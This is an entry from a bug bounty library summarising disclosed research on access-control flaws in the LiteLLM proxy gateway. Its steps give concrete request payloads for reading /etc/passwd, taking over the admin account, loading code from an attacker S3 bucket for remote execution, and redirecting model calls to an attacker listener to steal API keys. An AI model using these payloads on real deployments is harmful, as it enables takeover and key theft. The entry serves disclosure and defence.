# When LLM Gateways Go Wrong: Findings from LiteLLM

Missing RBAC on LiteLLM's /config/update let any authenticated user inject env vars, achieving arbitrary file read, admin takeover, and RCE via S3-loaded Python modules.

- Payout: Research
- Severity: critical
- Program: LiteLLM
- Credited: etal
- Disclosed: 2026-10-13
- CVE: CVE-2026-35029, CVE-2026-59823
- Write-up quality: 8/10
- Original: https://research.checkpoint.com/2026/when-llm-gateways-go-wrong-findings-from-litellm/
- Library page: https://bugbountylibrary.com/r/blog%3Aresearch-checkpoint-com-2026-when-llm-gateways-go-wrong-findings-from-litellm
- Tags: domain:ai domain:web impact:ato impact:data-leak impact:rce kind:research platform:threat-intel sev:critical tech:python technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure vuln:rce vuln:ssrf

**Target:** LiteLLM proxy gateway (POST /config/update, /get_image, /login, /chat/completions)
**Root cause:** update_config lacks a PROXY_ADMIN role check and relies on generic user_api_key_auth; UI session tokens (team_id=litellm-dashboard) get permissive startswith route matching, so /config/update matches the /config UI allowlist entry.
**Steps:**
1. Log into LiteLLM UI to obtain a UI session token (team_id=litellm-dashboard)
2. POST /config/update with `{"environment_variables":{"UI_LOGO_PATH":"/etc/passwd"}}`
3. GET /get_image to read the file contents
4. Alternatively POST /config/update with `{"environment_variables":{"UI_USERNAME":"hacker","UI_PASSWORD":"hacker"}}` then log in as admin
5. For RCE: POST /config/update with `general_settings.pass_through_endpoints[].target` = `s3://attacker-bucket/adapters/evil_adapter.proxy_handler_instance`; LiteLLM downloads and exec_module()s it
6. For SSRF: POST /chat/completions with `user_config` containing a model_list with `api_base` pointing at attacker listener to capture provider keys
**How found:** Code review of proxy_server.py: compared secure endpoints (e.g. /invitation/new) that check PROXY_ADMIN against update_config which only uses user_api_key_auth; traced common_checks token classification by team_id and startswith route matching to find /config/update matched the /config UI allowlist.
**Exploitation:** Any authenticated low-priv user updates runtime config via /config/update. Env var injection into os.environ feeds UI_LOGO_PATH (arbitrary file read via /get_image), UI_USERNAME/UI_PASSWORD (admin ATO), or pass_through_endpoints target s3://gcs:// (importlib exec_module RCE). Separately, user_config in /chat/completions builds an attacker-controlled Router whose api_base redirects LLM calls to an attacker listener, leaking provider API keys.
**Escalation:** Single access-control flaw chained into file read, admin account takeover, and full RCE; SSRF bypasses configurable_clientside_auth_params via a different code path.
**Insight:** When an app classifies tokens by a mutable field (team_id) and authorizes routes with startswith prefix matching, any admin route sharing a prefix with a UI route (e.g. /config vs /config/update) is reachable by low-priv UI sessions; also audit env-var-injection sinks like UI_LOGO_PATH and dynamic importlib loading of s3://gcs:// targets.
